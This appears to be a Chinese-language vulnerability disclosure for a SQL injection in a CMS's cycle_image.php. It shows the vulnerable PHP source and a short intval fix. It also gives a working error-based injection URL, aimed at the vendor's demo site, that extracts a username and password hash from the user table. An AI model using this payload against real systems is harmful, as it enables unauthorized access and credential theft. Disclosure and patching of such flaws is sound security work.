注入出现在cycle_image.php
<?php define( "IN_LOCK", true ); define( "INIT_NO_USERS", true ); define( "INIT_NO_SMARTY", true ); require( "./includes/init.php" ); header( "Content-type: text/xml; charset=utf-8" ); header( "Expires: Fri, 14 Mar 1980 20:53:00 GMT" ); header( "Last-Modified: ".gmdate( "D, d M Y H:i:s" )." GMT" ); header( "Pragma: no-cache" ); $s = explode( "^", trim( $_GET['language'] ) );//用^分隔得到数组$s echo "<?xml version=\"1.0\" encoding=\"utf-8\"?><bcaster>"; $sql = "select * from ".$site->table( "ad" )." where language_id=".$s[0]." and category='".$s[1]."' and type=0 and state=0 order by sort_order desc";//$s[0]没加单引号,无视gpc注入 $res = $db->getAllCached( $sql ); foreach ( $res as $row ) { if ( is_file( "upload/adfile/".$row['file'] ) ) { echo "<item item_url=\"".$_CFG['weburl']."/upload/adfile/".$row['file']."\" link=\"".$row['url']."\" />"; } } echo "</bcaster>"; ?> 官网测试: http://demo.cnnitc.com/cycle_image.php?language=1%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(floor(rand(0)*2),(select%20concat(user_name,0x23,password)%20from%20nitc_user%20limit%200,1))x%20FROM%20INFORMATION_SCHEMA.tables%20GROUP%20BY%20x)a)#
修复方案:language接收的是个数组,对每个值遍历进行: $language=intval($_GET['language']); |
-
上一篇: 释锐教育校校用平台通用SQL注入漏洞 - 网站安全
下一篇: maccms8由于涉及缺陷可以再系统内部随意创建文件
还没有人抢沙发呢~